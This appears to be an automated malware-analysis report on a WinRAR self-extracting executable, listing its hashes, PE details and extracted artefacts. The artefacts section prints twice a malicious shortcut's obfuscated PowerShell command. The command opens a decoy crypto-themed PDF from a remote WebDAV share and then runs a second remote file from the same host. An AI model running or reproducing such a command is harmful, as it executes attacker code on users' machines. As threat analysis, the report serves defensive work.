c9300e60e8433d1277e5205b48f46a93

PE Executable
|
MD5: c9300e60e8433d1277e5205b48f46a93
|
Size: 483.77 KB
|
application/x-dosexec

Infection Chain

Summary by MalvaGPT

Characteristics

Hash	Hash Value
MD5	c9300e60e8433d1277e5205b48f46a93
Sha1	1fa0b7742a7fbb56f90ba5e49ee37629b2a1938c
Sha256	2d55dd55ed7bc12e9eeb1ef36035e05c8bc41c45b01af0fbc57a366d27834e2b
Sha384	558f590f789c0f1ea4a7b4fe1c5cb234a007e53844c98ad92499b0424852d58c19e8dfdc679cd5f21b7e5b996e51ecb6
Sha512	c335f902b4646ee40be105d45f8fe00d60b7f836c347dedf2f847057387cf28bed0d043dc3ae14e2a6392959c8966d8d5f26d6f146293d229e259cb7a076c808
SSDeep	6144:jj1zho1x2kD02IXYwa6fWnUh7bxa57SzYCO8gG4iR+v/74D8+xcrAyG:RhoVY2+LfWvRSECKG4iRkTJrpG
TLSH	EDA47D19E7E405FDE0B7E578CD824906EB767C494771E6CF03A4A9A61F232908E3DB12

PeID

Microsoft Visual C++ 8.0 (DLL)

Microsoft Visual C++ v6.0 DLL

File Structure

Informations

Name0	Value
Info	PE Detect: PeReader OK (file layout)
Info	Overlay extracted: Overlay_965f09e2.bin (1464 bytes)
Info	PDB Path: D:\Projects\WinRAR\SFX\build\sfxrar64\Release\sfxrar.pdb

Artefacts

Name0	Value
LNK: Command Execution	powershell.exe -c 'ехрlоrеr ''\\5.І89.І6І.33@8О\dаtа\trumрСrурtоРlаn.рdf''; Stаrt-Slеер 4; Stор-Рrосеss -Nаmе ехрlоrеr -Fоrсе; & ''\\5.І89.І6І.33@8О\dаtа\tеst_рсlоud.tхt'''

c9300e60e8433d1277e5205b48f46a93 (483.77 KB)

File Structure

Characteristics

No malware configuration were found at this point.

Artefacts

Name0	Value	Location
LNK: Command Execution	powershell.exe -c 'ехрlоrеr ''\\5.І89.І6І.33@8О\dаtа\trumрСrурtоРlаn.рdf''; Stаrt-Slеер 4; Stор-Рrосеss -Nаmе ехрlоrеr -Fоrсе; & ''\\5.І89.І6І.33@8О\dаtа\tеst_рсlоud.tхt''' Malicious	c9300e60e8433d1277e5205b48f46a93 > Overlay_965f09e2.bin > data > TrumpCryptoPlan.pdf.lnk

You must be signed in to post a comment.